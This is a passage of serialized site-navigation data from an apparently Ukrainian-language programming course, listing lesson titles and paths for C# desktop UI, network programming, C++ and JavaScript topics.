застосунків","\u002Fcsharp\u002Fdesktop-ui\u002F13a.ui-ux-principles","01.csharp\u002F12.desktop-ui\u002F13a.ui-ux-principles",{"title":1459,"path":1460,"stem":1461},"Dependency Properties — Концепція та Value Resolution","\u002Fcsharp\u002Fdesktop-ui\u002Fdependency-properties-part1","01.csharp\u002F12.desktop-ui\u002F14.dependency-properties-part1",{"title":1463,"path":1464,"stem":1465},"Avalonia Property System — StyledProperty та DirectProperty","\u002Fcsharp\u002Fdesktop-ui\u002F14a.avalonia-property-system","01.csharp\u002F12.desktop-ui\u002F14a.avalonia-property-system",{"title":1467,"path":1468,"stem":1469},"Attached Properties — Властивості без меж","\u002Fcsharp\u002Fdesktop-ui\u002Fattached-properties","01.csharp\u002F12.desktop-ui\u002F15.attached-properties",{"title":1471,"path":1472,"stem":1473},"Routed Events — Маршрутизація подій у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований HTTP-сервер .NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908,1912,1916,1920,1924,1928,1932,1936,1940,1944,1948,1952,1956,1960,1964,1968,1972,1976,1980,1984,1988,1992,1996,2000,2004,2008,2012,2016,2020,2024,2028,2032,2036],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"Об'єднання (union): один блок пам'яті, кілька інтерпретацій","\u002Fcpp\u002Funion","02.cpp\u002F45.union",{"title":1897,"path":1898,"stem":1899},"Організація коду: файли, препроцесор, простори імен","\u002Fcpp\u002Fmultifile-programs","02.cpp\u002F46.multifile-programs",{"title":1901,"path":1902,"stem":1903},"Робота з файлами: C-стиль (stdio.h)","\u002Fcpp\u002Fc-style-files","02.cpp\u002F47.c-style-files",{"title":1905,"path":1906,"stem":1907},"Робота з файлами: C++-стиль (fstream)","\u002Fcpp\u002Fcpp-style-files","02.cpp\u002F48.cpp-style-files",{"title":1909,"path":1910,"stem":1911},"Введення в ООП: від процедур до об'єктів","\u002Fcpp\u002Foop-intro","02.cpp\u002F49.oop-intro",{"title":1913,"path":1914,"stem":1915},"Класи, об'єкти та методи","\u002Fcpp\u002Fclasses-objects-methods","02.cpp\u002F50.classes-objects-methods",{"title":1917,"path":1918,"stem":1919},"Специфікатори доступу та інкапсуляція","\u002Fcpp\u002Faccess-specifiers-encapsulation","02.cpp\u002F51.access-specifiers-encapsulation",{"title":1921,"path":1922,"stem":1923},"Конструктори: гарантована ініціалізація об'єктів","\u002Fcpp\u002Fconstructors","02.cpp\u002F52.constructors",{"title":1925,"path":1926,"stem":1927},"Списки ініціалізації та делегуючі конструктори","\u002Fcpp\u002Finit-lists-delegating","02.cpp\u002F53.init-lists-delegating",{"title":1929,"path":1930,"stem":1931},"Деструктори та ідіома RAII","\u002Fcpp\u002Fdestructors-raii","02.cpp\u002F54.destructors-raii",{"title":1933,"path":1934,"stem":1935},"Прихований покажчик this","\u002Fcpp\u002Fthis-pointer","02.cpp\u002F55.this-pointer",{"title":1937,"path":1938,"stem":1939},"Розподіл класу на заголовковий файл та файл реалізації","\u002Fcpp\u002Fclass-header-source","02.cpp\u002F56.class-header-source",{"title":1941,"path":1942,"stem":1943},"Класи та const","\u002Fcpp\u002Fconst-classes","02.cpp\u002F57.const-classes",{"title":1945,"path":1946,"stem":1947},"Статичні члени класу","\u002Fcpp\u002Fstatic-members","02.cpp\u002F58.static-members",{"title":1949,"path":1950,"stem":1951},"Конструктор копіювання та запобігання копіюванню","\u002Fcpp\u002Fcopy-constructor","02.cpp\u002F59.copy-constructor",{"title":1953,"path":1954,"stem":1955},"Дружні функції та класи","\u002Fcpp\u002Ffriend-functions-classes","02.cpp\u002F60.friend-functions-classes",{"title":1957,"path":1958,"stem":1959},"Анонімні об'єкти та вкладені типи","\u002Fcpp\u002Fanonymous-objects-nested-types","02.cpp\u002F61.anonymous-objects-nested-types",{"title":1961,"path":1962,"stem":1963},"Вимірювання часу виконання: RAII-таймер","\u002Fcpp\u002Ftiming-raii-timer","02.cpp\u002F62.timing-raii-timer",{"title":1965,"path":1966,"stem":1967},"Перевантаження операторів: основи та арифметика","\u002Fcpp\u002Foperator-overloading-basics","02.cpp\u002F63.operator-overloading-basics",{"title":1969,"path":1970,"stem":1971},"Перевантаження операторів: методи класу та спеціальні оператори","\u002Fcpp\u002Foperator-overloading-methods","02.cpp\u002F64.operator-overloading-methods",{"title":1973,"path":1974,"stem":1975},"Приведення типів, explicit та delete","\u002Fcpp\u002Ftypecast-explicit-delete","02.cpp\u002F65.typecast-explicit-delete",{"title":1977,"path":1978,"stem":1979},"Глибоке копіювання та оператор присвоювання","\u002Fcpp\u002Fdeep-copy-assignment","02.cpp\u002F66.deep-copy-assignment",{"title":1981,"path":1982,"stem":1983},"Зв'язки між об'єктами: композиція та агрегація","\u002Fcpp\u002Fcomposition-aggregation","02.cpp\u002F67.composition-aggregation",{"title":1985,"path":1986,"stem":1987},"Асоціація та залежність між об","\u002Fcpp\u002Fassociation-dependency","02.cpp\u002F68.association-dependency",{"title":1989,"path":1990,"stem":1991},"Контейнерні класи та `std::initializer_list`","\u002Fcpp\u002Fcontainer-classes-initializer-list","02.cpp\u002F69.container-classes-initializer-list",{"title":1993,"path":1994,"stem":1995},"Конструктори, деструктори та порядок ініціалізації в ієрархіях","\u002Fcpp\u002Finheritance-constructors-destructors","02.cpp\u002F71.inheritance-constructors-destructors",{"title":1997,"path":1998,"stem":1999},"Специфікатор `protected` та види наслідування","\u002Fcpp\u002Finheritance-access-specifiers","02.cpp\u002F72.inheritance-access-specifiers",{"title":2001,"path":2002,"stem":2003},"Перевизначення методів та приховування імен","\u002Fcpp\u002Fmethod-overriding-hiding","02.cpp\u002F73.method-overriding-hiding",{"title":2005,"path":2006,"stem":2007},"Множинне наслідування та проблема ромба","\u002Fcpp\u002Fmultiple-inheritance-diamond","02.cpp\u002F74.multiple-inheritance-diamond",{"title":2009,"path":2010,"stem":2011},"Вказівники на базовий клас та віртуальні функції","\u002Fcpp\u002Fvirtual-functions-polymorphism","02.cpp\u002F75.virtual-functions-polymorphism",{"title":2013,"path":2014,"stem":2015},"Специфікатори override, final та віртуальні деструктори","\u002Fcpp\u002Foverride-final-virtual-destructors","02.cpp\u002F76.override-final-virtual-destructors",{"title":2017,"path":2018,"stem":2019},"Внутрішні механізми поліморфізму: vtable, vptr та зв'язування","\u002Fcpp\u002Fvirtual-table-binding","02.cpp\u002F77.virtual-table-binding",{"title":2021,"path":2022,"stem":2023},"Абстрактні класи та чисті віртуальні функції","\u002Fcpp\u002Fabstract-classes-interfaces","02.cpp\u002F78.abstract-classes-interfaces",{"title":2025,"path":2026,"stem":2027},"Зрізка об'єктів, віртуальне наслідування та поліморфний вивід","\u002Fcpp\u002Fslicing-virtual-base-io","02.cpp\u002F79.slicing-virtual-base-io",{"title":2029,"path":2030,"stem":2031},"Динамічне приведення типів (`dynamic_cast`) та RTTI","\u002Fcpp\u002Fdynamic-cast-rtti","02.cpp\u002F80.dynamic-cast-rtti",{"title":2033,"path":2034,"stem":2035},"Шаблони функцій: узагальнене програмування","\u002Fcpp\u002Ffunction-templates","02.cpp\u002F81.function-templates",{"title":2037,"path":2038,"stem":2039},"Шаблони класів та NTTP-параметри","\u002Fcpp\u002Fclass-templates-nttp","02.cpp\u002F82.class-templates-nttp",{"title":2041,"icon":2042,"path":2043,"stem":2044,"children":2045,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[2046,2072,2126,2148,2452,2490,2508],{"title":2047,"icon":2048,"path":2049,"stem":2050,"children":2051,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[2052,2056,2060,2064,2068],{"title":2053,"path":2054,"stem":2055},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":2057,"path":2058,"stem":2059},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":2061,"path":2062,"stem":2063},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":2065,"path":2066,"stem":2067},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":2069,"path":2070,"stem":2071},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":2073,"icon":2074,"path":2075,"stem":2076,"children":2077,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[2078,2082,2086,2090,2094,2098,2102,2106,2110,2114,2118,2122],{"title":2079,"path":2080,"stem":2081},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":2083,"path":2084,"stem":2085},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":2087,"path":2088,"stem":2089},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":2091,"path":2092,"stem":2093},"Переривання fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":2095,"path":2096,"stem":2097},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":2099,"path":2100,"stem":2101},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":2103,"path":2104,"stem":2105},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":2107,"path":2108,"stem":2109},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":2111,"path":2112,"stem":2113},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":2115,"path":2116,"stem":2117},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":2119,"path":2120,"stem":2121},"js-cookie: Керування Cookies без 